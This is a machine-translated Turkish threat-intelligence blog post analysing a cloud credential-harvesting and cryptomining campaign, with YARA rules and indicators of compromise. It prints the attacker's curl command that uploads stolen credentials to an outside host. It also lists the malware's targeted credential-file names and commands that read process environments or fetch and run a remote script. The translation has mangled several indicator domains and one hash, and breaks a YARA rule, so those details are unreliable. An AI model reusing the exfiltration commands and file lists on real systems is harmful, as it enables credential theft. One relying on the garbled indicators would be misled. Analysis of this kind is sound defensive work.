Geliştirme süreçlerinde çevik metodolojiyi benimseyen yalnızca geliştiriciler değildir. Permiso Security’nin p0 Laboratuvarları ekibi, 15.06.2023’ten 11.07.2023’e kadar kötü amaçlı kimlik bilgileri toplamanın sekiz (8) artımlı yinelemesini geliştiren ve dağıtan bir saldırganı tespit etti ve izledi. ) çeşitli bulut hizmetlerini hedefleyen kampanya.
Geçen hafta Aqua Security yayınlanan Bu az geliştirilmekte olan kampanyanın virüslü Docker görüntüleri ile ilgili aşamalarını ayrıntılarıyla anlatan bir blog, bugün İzin p0 Laboratuvarları Ve SentinelLab’lar Saldırganın altyapısını izleyerek sistematik olarak toplanan bulut kimlik bilgileri toplayan kötü amaçlı yazılım örneklerinde yapılan artımlı güncellemeleri vurgulayan ortak araştırma yayınlıyoruz. O halde koltuklarınızdan çıkın ve aktörlerin kampanyası ve daha fazla bulut kimlik bilgisi çalmak için kullanacakları araçlar hakkındaki bilgileri paylaşmaya adanmış bu scrum toplantısı stand-up’ının keyfini çıkarın.
Analiz bloglarınızda IDA ekran görüntülerini beğendiyseniz, mutlaka göz atın SentinelLab’lar‘Bu kampanyaya katılın!
Önceki Kampanyalar
Aktörlerin bulut kimlik bilgilerini kazımak için benzer araçları kullandığı ve aynı zamanda kripto madenciliği yazılımını toplu olarak dağıttığı birçok kampanya oldu. Bilgilerinizi tazelemek amacıyla, Aralık ayında Permiso ekibi bir aktörün ayrıntılarını bildirdi. halka açık Juptyer Notebook’ları hedef alıyor bu araç seti ile.
Cado’daki arkadaşlarımız da kapsamlı bir şekilde rapor verdiler. önceki kampanyalar.
Aktif Kampanya
11.07.2023 tarihinde, geliştirme aşamasındaki araç setiyle ilgili bu blogun yayınlanmasına hazırlanırken, oyuncu kampanyasını başlattı.
b.sh dosyası, tüm araç paketi işlevselliğini indiren ve dağıtan başlatma komut dosyasıdır. Ana özellikleri, sürekli erişim için bir arka kapı kurmak, kripto madenciliği yardımcı programlarını dağıtmak ve diğer savunmasız sistemleri aramak ve bunlara yaymaktır.
Şu anda (2023-07-12), bu kampanyada güvenliği ihlal edilmiş 39 sistem var:
Ne var ne yok?
Bu kampanyadaki bulut kimlik bilgisi toplama yardımcı programları, önceki sürümlerden bazı önemli farklılıklara sahiptir. Değişikliklerden öne çıkanlar şunlardır:
- Çoklu Bulut Desteği:
- GCP desteği eklendi
- GCLOUD_CREDS_FILES=(“config_sentinel” “gce” “.last_survey_prompt.yaml” “config_default” “active_config” “credentials.db” “access_tokens.db” “.last_update_check.json” “.last_opt_in_prompt.yaml” “.feature_flags_config.yaml” ” adc.json” “resource.cache”)
- Azure desteği, azure.json adlı dosyalardan kimlik bilgilerinin aranması ve çıkarılmasıyla eklendi
- Çok sayıda yapısal ve sözdizimsel değişiklik, AWS hedeflemeden çoklu buluta geçişi vurguluyor:
- Bulut hizmetine göre bölünmüş hassas dosya adı dizileri:
- CRED_FILE_NAMES → AWS_CREDS_FILES, AZURE_CREDS_FILES ve GCLOUD_CREDS_FILES
- Genelleştirilmiş işlev adları:
- send_aws_data → send_data
- Çıkış bölümü başlıkları değiştirildi:
- BİLGİ → AWS BİLGİSİ
- IAM → IAM KULLANICI VERİLERİ
- EC2 → EC2 KULLANICI VERİLERİ
- Hedeflenen Dosyalar: CRED_FILE_NAMES değişkenine “kubeconfig” “adc.json” “azure.json” “clusters.conf” “docker-compose.yaml” “.env” eklendi. redis.conf.not.exist, MIXED_CREDFILES değişkeniyle eklendi.
- Yeni Kıvırma: Dload işlevinden (“kıvrılma olmadan kıvrılma”) aşamalı kıvrılma ikili dosyasının indirilmesine ve sonunda yerel kıvrılma ikilisinin kullanılmasına geçildi.
- AWS-CLI: bulut kimlik bilgilerini ve kimlik bilgilerini doğrulamak için aws sts get-caller-identity
- Altyapı: Önceki kampanyaların çoğu, yardımcı programları ve C2’yi tek bir alanda barındırıyordu. Bu kampanyada aktör birden fazla FQDN kullanıyor (EC2 Örneği olarak kayda değer maskeleme dahil: ap-northeast-1.compute.internal.anondns)[.]açık).
- Aktörün altyapısı ve kodundaki çok sayıda unsur, yazarın anadili Almanca olan biri olmasına ağırlık veriyor (açık kaynaklı TeamTNT araçlarının kodunda zaten birçok Almanca unsur bulunmasına ek olarak).
- Aws.sh’nin ara sürümlerinden biri FQDN ap-northeast-1.compute.internal.anondns’a başvuruyordu.[.]net Almanca hata mesajını döndüren Fehler! Vergleiche bitte die Authentifizierungsmerkmale in beiden Scripten!!! (bu, Hata! lütfen her iki komut dosyasındaki kimlik doğrulama özelliklerini karşılaştırın!! anlamına gelir!) 2023-06-23 tarihinde bir VirusTotal taraması tarafından ziyaret edildiğinde:
- Yukarıdaki hata mesajı için yapılan bir Google araması, 2008-10-08 tarihleri arasında bir Alman forumundan tek bir sonuç ortaya koyuyor (https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf-einen-webserver-ohne-ftp-98399.html) upload.php adı verilen bir PHP dosya yükleyicisinin kodunu içerir; burada başarısız kimlik doğrulama aksi takdirde echo’nun tam hata ifadesini engeller. Upload.php dosya adı aynı zamanda tehdit aktörünün aws.sh sürüm 2 ve 3’ünün URI’siydi ve saldırganın curl komutu (sonraki gösterilmektedir) aynı forum gönderisindeki örnek komutla aynı olan benzersiz argüman sözdizimini içerir.
- Son Alman baş sallamaları curl komutu argümanlarındadır. Daha bariz gösterge aws.sh 2-8 sürümlerinde Datei= argümanıdır, çünkü “Datei” Almanca “dosya” kelimesidir. Daha incelikli gözlem, aws.sh sürüm 2 ve 3’teki sabit kodlanmış parolada (oeireopüigreigroei), özellikle de Latin olmayan tek karakterin varlığıdır: ü.
send_data()
curl -F "username=jegjrlgjhdsgjh" -F "password=oeireopüigreigroei" -F \
"Datei=@"$CSOF"" -F "Send=1" <https://everlost.anondns.net/upload.php>
Kullanıcı adı ve parolanın her ikisi de bir klavye çalışmasının göstergesidir; ana satır tuşlarındaki kullanıcı adı ve üst satır tuşlarındaki parola. Ancak diğer tüm karakterlerin Latince olması nedeniyle tek bir ü oluşturacak olası senaryo, sanal klavyenin kullanılmasıdır. ü, paroladaki p harfinin hemen ardından geldiğinden, p karakterinin yanında ü içeren yalnızca iki sanal klavye düzeni Estonca ve Almanca dilleri içindir.
Saldırgan Geliştirme Yaşam Döngüsü
Bu saldırgan altyapısını bir ay boyunca izlemek, Permiso ekibinin oyuncunun geliştirme süreci ve her yinelemede yapılan değişiklikler hakkında bilgi sahibi olmasını sağladı. Değişiklik günlüğünden daha iyi bir görüntüleme yolu var mı? Kimlik bilgisi toplama yardımcı programı aws.sh’de yapılan artımlı güncellemelerin değişiklik günlüğü aşağıdadır:
# v1(28165d28693ca807fb3d4568624c5ba9) -> v2(b9113ccc0856e5d44bab8d3374362a06)
[*] updated function name from int_main() to run_aws_grabber() (though not executed in script)
[*] updated function name from send_aws_data() to send_data()
[*] updated function name from files_aws() to cred_files()
[*] updated function name from docker_aws() to get_docker() with similar functionality
[*] split env_aws() function's logic into three (3) new functions: get_aws_infos(), get_aws_meta(), get_aws_env()
[+] added function get_awscli_data() which executes aws sts get-caller-identity command
[+] added two (2) functions with new functionality (returning contents of sensitive file names and environment variables): get_azure(), get_google()
[-] removed strings_proc_aws function containing strings /proc/*/env* | sort -u | grep 'AWS|AZURE|KUBE' command enumerating environment variables
[-] removed ACF file name array (though all values except .npmrc, cloud and credentials.gpg were already duplicated in CRED_FILE_NAMES array)
[+] added new empty AZURE_CREDS_FILES file name array (though not used in script)
[+] added new AWS_CREDS_FILES file name array (though not used in script) with the following values moved from CRED_FILE_NAMES file name array: credentials, .s3cfg, .passwd-s3fs, .s3backer_passwd, .s3b_config, s3proxy.conf
[+] added new GCLOUD_CREDS_FILES file name array (though not used in script) with the following net new values: config_sentinel, gce, .last_survey_prompt.yaml, config_default, active_config, credentials.db, .last_update_check.json, .last_opt_in_prompt.yaml, .feature_flags_config.yaml, resource.cache
[+] added copy of duplicate values access_tokens.db and adc.json from CRED_FILE_NAMES file name array to GCLOUD_CREDS_FILES file name array
[+] added netrc, kubeconfig, adc.json, azure.json, env, clusters.conf, grafana.ini and an empty string to CRED_FILE_NAMES file name array
[-] removed credentials.db from CRED_FILE_NAMES file name array
[-] removed dload function (downloader capability, i.e. "curl without curl")
[+] added commented dload function invocation for posting final results
[+] added commented wget command to download and execute https://everlost.anondns[.]net/cmd/tmate.sh
[*] replaced execution of dload function with native curl binary
[*] replaced references to /tmp/.curl with native curl binary
[-] removed base64 encoding of final results
[+] added username and password to curl command: "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei"
[*] updated URI for posting final results from /in.php?base64=$SEND_B64_DATA to /upload.php
[*] renamed LOCK_FILE from /tmp/...aws4 to /tmp/..a.l$(echo $RANDOM)
[-] removed rm -f $LOCK_FILE command
[-] removed history -cw command (clear history list and overwrite history file) at end of script
[*] converted numerous long commands into shorter multi-line syntax-------
# v2(b9113ccc0856e5d44bab8d3374362a06) -> v3(d9ecceda32f6fa8a7720e1bf9425374f)
[+] added execution of previously unused run_aws_grabber() function
[+] added function get_prov_vars with nearly identical strings /proc/*/env* command found in previously removed strings_proc_aws function (though with previous grep 'AWS|AZURE|KUBE' command removed)
[+] added logic to search for files listed in previously unused file name arrays: AWS_CREDS_FILES, GCLOUD_CREDS_FILES
[+] added new file name array MIXED_CREDFILES=("redis.conf") (though not used in script)
[+] added docker-compose.yaml to CRED_FILE_NAMES file name array
[*] updated env to .env in CRED_FILE_NAMES file name array
[-] removed config from AWS_CREDS_FILES file name array
[*] updated echo output section header from INFO to AWS INFO
[*] updated echo output section header from IAM to IAM USERDATA
[*] updated echo output section header from EC2 to EC2 USERDATA
[-] removed commented dload function invocation for posting final results
-------
# v3(d9ecceda32f6fa8a7720e1bf9425374f) -> v4(0855b8697c6ebc88591d15b954bcd15a)
[*] replaced strings /proc/*/env* command with cat /proc/*/env* command in get_prov_vars function
[*] updated username and password to curl command from "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei" to "username=1234" -F "password=5678"
[*] updated FQDN for posting final results from everlost.anondns[.]net to ap-northeast-1.compute.internal.anondns[.]net (masquerading as AWS EC2 instance FQDN)
[*] updated URI for posting final results from /upload.php to /insert/keys.php
-------
# v4(0855b8697c6ebc88591d15b954bcd15a) -> v5(f7df739f865448ac82da01b3b1a97041)
[*] updated FQDN for posting final results from ap-northeast-1.compute.internal.anondns[.]net to silentbob.anondns[.]net
[+] added SRCURL variable to store FQDN (later expanded in final curl command's URL)
[+] added if type aws logic to only execute run_aws_grabber function if AWS CLI binary is present
-------
# v5(f7df739f865448ac82da01b3b1a97041) -> v6(1a37f2ef14db460e5723f3c0b7a14d23)
[*] updated redis.conf to redis.conf.not.exist in MIXED_CREDFILES file name array
[*] updated LOCK_FILE variable from /tmp/..a.l$(echo $RANDOM) to /tmp/..a.l
-------
# v6(1a37f2ef14db460e5723f3c0b7a14d23) -> v7(99f0102d673423c920af1abc22f66d4e)
[-] removed grafana.ini from CRED_FILE_NAMES file name array
-------
# v7(99f0102d673423c920af1abc22f66d4e) -> v8(5daace86b5e947e8b87d8a00a11bc3c5)
[-] removed MIXED_CREDFILES file name array
[+] added new file name array DBS_CREDFILES=("postgresUser.txt" "postgresPassword.txt")
[+] added awsAccessKey.txt and awsKey.txt to AWS_CREDS_FILES file name array
[+] added azure.json to AZURE_CREDS_FILES file name array (already present in CRED_FILE_NAMES file name array)
[+] added hostname command output to final result
[+] added curl -sLk ipv4.icanhazip.com -o- command output to final result
[+] added cat /etc/ssh/sshd_config | grep 'Port '|awk 'print $2' command output to final result
[*] updated LOCK_FILE variable from /tmp/..a.l to /tmp/..pscglf_
Saldırgan Altyapısı
Bunun gibi değiştirilmiş TeamTNT Tooling’i kullanan oyuncuların Nice VPS barındırma hizmetini kullanma eğilimi vardır. Bu kampanya da bu anlamda bir istisna değil. Oyuncu, bu kampanya için anondns aracılığıyla en az dört (4) alan adı kaydettirdi; biri hariç hepsi şu anda Nice VPS IP adresi 45.9.148.108’i işaret ediyordu. Everfound.anondns.net alanı şu anda 207.154.218.221 IP adresine çözümlenmektedir.
Şu anda bu kampanyaya dahil olan alanlar şunlardır:
İhtisas |
İlk görüş |
---|---|
everlost.anonns[.]açık |
2023-06-11 10:35:09 UTC |
ap-northeast-1.compute.internal.anondns[.]açık |
2023-06-16 15:24:16 UTC |
sessizbob.anonlar[.]açık |
2023-06-24 16:53:46 UTC |
everfound.anonns[.]açık |
2023-07-02 21:07:50 UTC |
Son zamanlardaki saldırgan geliştirme etkinliklerinin çoğunluğu sessizbob.anondns.net üzerinde gerçekleştirilmiş olsa da, AWS maskeli alan adının ap-northeast-1.compute.internal.anondns.net olduğunu düşünüyoruz, ancak Jay ve Sessiz Bob çok şey başarıyor saldırganın FQDN’lerdeki seçimine saygı duymamız için daha iyi blog kapağı resmi.
Göstergeler
Gösterge | Tip | Notlar |
---|---|---|
everlost.anonns[.]açık | İhtisas | |
ap-northeast-1.compute.internal.anondns[.]açık | İhtisas | |
sessizbob.anonlar[.]açık | İhtisas | |
everfound.anonns[.]açık | İhtisas | |
207.154.218[.]221 | IPv4 | |
45.9.148[.]108 | IPv4 | |
28165d28693ca807fb3d4568624c5ba9 | MD5 | aws.sh v1 |
b9113ccc0856e5d44bab8d3374362a06 | MD5 | aws.sh v2 |
d9ecceda32f6fa8a7720e1bf9425374f | MD5 | aws.sh v3 |
0855b8697c6ebc88591d15b954bcd15a | MD5 | aws.sh v4 |
f7df739f865448ac82da01b3b1a97041 | MD5 | aws.sh v5 |
1a37f2ef14db460e5723f3c0b7a14d23 | MD5 | aws.sh v6 |
99f0102d673423c920af1abc22f66d4e | MD5 | aws.sh v7 |
5daace86b5e947e8b87d8a00a11bc3c5 | MD5 | aws.sh v8 (grab.sh) |
92d6cc158608bcec74cf9856ab6c94e5 | MD5 | kullanıcı.sh |
cfb6d7788c94857ac5e9899a70c710b6 | MD5 | dahili.sh |
7044a31e9cd7fdbf10e6beba08c78c6b | MD5 | temiz.sh |
58b92888443cfb8a4720645dc3dc9809 | MD5 | xc3.sh |
f60b75dsağır9703277bb2dc36c0f114b | MD5 | b.sh (Betiği yükle) |
2044446e6832577a262070806e9bf22c | MD5 | sohbet |
c2465e78a5d11afd74097734350755a4 | MD5 | kıvrılma.tam |
f13b8eedde794e2a9a1e87c3a2b79bf4 | MD5 | tmate.sh |
87c8423e0815d6467656093bff9aa193 | MD5 | A |
9e174082f721092508df3f1aae3d6083 | MD5 | run.sh |
203fe39ff0e59d683b36d056ad64277b | MD5 | kitle taraması |
2514cff4dbfd6b9099f7c83fc1474a2d | MD5 | |
dafac2bc01806db8bf19ae569d85deae | MD5 | veri.sh |
43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U | Cüzdan | |
hxxp://silentbob.anondns.net/insert/metadata.php | URL’si |
Algılamalar
rule P0_Hunting_AWS_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous AWS credential file names"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$credFileAWS_01 = "credentials"
$credFileAWS_02 = ".s3cfg"
$credFileAWS_03 = ".passwd-s3fs"
$credFileAWS_04 = ".s3backer_passwd"
$credFileAWS_05 = ".s3b_config"
$credFileAWS_06 = "s3proxy.conf"
$credFileAWS_07 = "awsAccessKey.txt"
$credFileAWS_08 = "awsKey.txts"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
condition:
(3 of ($credFileAWS*)) and $fileSearchCmd and (any of ($fileAccessCmd*))
rule P0_Hunting_AWS_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive AWS credential information. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarAWSPrefixSyntax_01 = "$AWS_"
$envVarAWSPrefixSyntax_02 = "$AWS_"
$envVarAWS_01 = "AWS_ACCESS_KEY_ID"
$envVarAWS_02 = "AWS_SECRET_ACCESS_KEY"
$envVarAWS_03 = "AWS_SESSION_TOKEN"
$envVarAWS_04 = "AWS_SHARED_CREDENTIALS_FILE"
$envVarAWS_05 = "AWS_CONFIG_FILE"
$envVarAWS_06 = "AWS_DEFAULT_REGION"
$envVarAWS_07 = "AWS_REGION"
$envVarAWS_08 = "AWS_EC2_METADATA_DISABLED"
$envVarEcho = "then echo "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (1 of ($envVarAWSPrefixSyntax*)) and (4 of ($envVarAWS*)) and (#envVarEcho >= 4) and not (all of ($linPEAS*))
rule P0_Hunting_AWS_SedEnvVarExtraction_1 SecretAccessKey\
rule P0_Hunting_Azure_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive Azure credential information"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$envVarAzurePrefixSyntax_01 = "$AZURE_"
$envVarAzurePrefixSyntax_02 = "$AZURE_"
$envVarAzure_01 = "AZURE_CREDENTIAL_FILE"
$envVarAzure_02 = "AZURE_GUEST_AGENT_CONTAINER_ID"
$envVarAzure_03 = "AZURE_CLIENT_ID"
$envVarAzure_04 = "AZURE_CLIENT_SECRET"
$envVarAzure_05 = "AZURE_TENANT_ID"
$envVarAzure_06 = "AZURE_SUBSCRIPTION_ID"
$envVarEcho = "then echo "
condition:
(1 of ($envVarAzurePrefixSyntax*)) and (3 of ($envVarAzure*)) and (#envVarEcho >= 3)
rule P0_Hunting_GCP_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous Google Cloud Platform (GCP) credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileGCP_01 = "active_config"
$credFileGCP_02 = "gce"
$credFileGCP_03 = ".last_survey_prompt.yaml"
$credFileGCP_04 = ".last_opt_in_prompt.yaml"
$credFileGCP_05 = ".last_update_check.json"
$credFileGCP_06 = ".feature_flags_config.yaml"
$credFileGCP_07 = "config_default"
$credFileGCP_08 = "config_sentinel"
$credFileGCP_09 = "credentials.db"
$credFileGCP_10 = "access_tokens.db"
$credFileGCP_11 = "adc.json"
$credFileGCP_12 = "resource.cache"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (5 of ($credFileGCP*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
rule P0_Hunting_GCP_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive GCP credential information"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarGCPPrefixSyntax_01 = "$GOOGLE_"
$envVarGCPPrefixSyntax_02 = "$GOOGLE_"
$envVarGCP_01 = "GOOGLE_API_KEY"
$envVarGCP_02 = "GOOGLE_DEFAULT_CLIENT_ID"
$envVarGCP_03 = "GOOGLE_DEFAULT_CLIENT_SECRET"
$envVarEcho = "then echo "
condition:
(any of ($shellHeader*)) and (1 of ($envVarGCPPrefixSyntax*)) and (2 of ($envVarGCP*)) and (#envVarEcho >= 2)
rule P0_Hunting_Common_CredFileNames_1
meta:
description = "Detecting presence of scripts searching for numerous common credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileCommon_01 = "authinfo2"
$credFileCommon_02 = "access_tokens.db"
$credFileCommon_03 = ".smbclient.conf"
$credFileCommon_04 = ".smbcredentials"
$credFileCommon_05 = ".samba_credentials"
$credFileCommon_06 = ".pgpass"
$credFileCommon_07 = "secrets"
$credFileCommon_08 = ".boto"
$credFileCommon_09 = "netrc"
$credFileCommon_10 = ".git-credentials"
$credFileCommon_11 = "api_key"
$credFileCommon_12 = "censys.cfg"
$credFileCommon_13 = "ngrok.yml"
$credFileCommon_14 = "filezilla.xml"
$credFileCommon_15 = "recentservers.xml"
$credFileCommon_16 = "queue.sqlite3"
$credFileCommon_17 = "servlist.conf"
$credFileCommon_18 = "accounts.xml"
$credFileCommon_19 = "kubeconfig"
$credFileCommon_20 = "adc.json"
$credFileCommon_21 = "clusters.conf"
$credFileCommon_22 = "docker-compose.yaml"
$credFileCommon_23 = ".env"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (10 of ($credFileCommon*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
rule P0_Hunting_Common_TeamTNT_CredHarvesterOutputBanner_1
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing specific section banner output commands"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$sectionBanner_01 = "-------- AWS INFO ------------------------------------------"
$sectionBanner_02 = "-------- EC2 USERDATA -------------------------------------------"
$sectionBanner_03 = "-------- GOOGLE DATA --------------------------------------"
$sectionBanner_04 = "-------- AZURE DATA --------------------------------------"
$sectionBanner_05 = "-------- IAM USERDATA -------------------------------------------"
$sectionBanner_06 = "-------- AWS ENV DATA --------------------------------------"
$sectionBanner_07 = "-------- PROC VARS -----------------------------------"
$sectionBanner_08 = "-------- DOCKER CREDS -----------------------------------"
$sectionBanner_09 = "-------- CREDS FILES -----------------------------------"
condition:
(5 of them)
rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_1 {
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'CREFILE' variable name (assuming intended name is 'CREDFILE' since it is iterating file names in input array"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$varNameTypo = "for CREFILE in $ xargs -I % sh -c 'echo :::%; cat %' >> $"
condition:
all of them
rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_2
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'get_prov_vars' function name (assuming intended name is 'get_proc_vars' since it is outputting process variables"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_02 = "0855b8697c6ebc88591d15b954bcd15a"
md5_03 = "f7df739f865448ac82da01b3b1a97041"
md5_04 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_05 = "99f0102d673423c920af1abc22f66d4e"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$funcNameTypo = "get_prov_vars"
$fileAccess_01 = "cat "
$fileAccess_02 = "strings "
$envVarFilePath = " /proc/*/env*"
condition:
$funcNameTypo and (any of ($fileAccess*)) and $envVarFilePath
rule P0_Hunting_Common_TeamTNT_CurlArgs_1
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common curl arguments including 'Datei' (German word for 'file') and specific 'Send=1' arguments found in German blog post https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf-einen-webserver-ohne-ftp-98399.html which details using curl (with these specific arguments) to upload files to upload.php"
author = "[email protected] (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
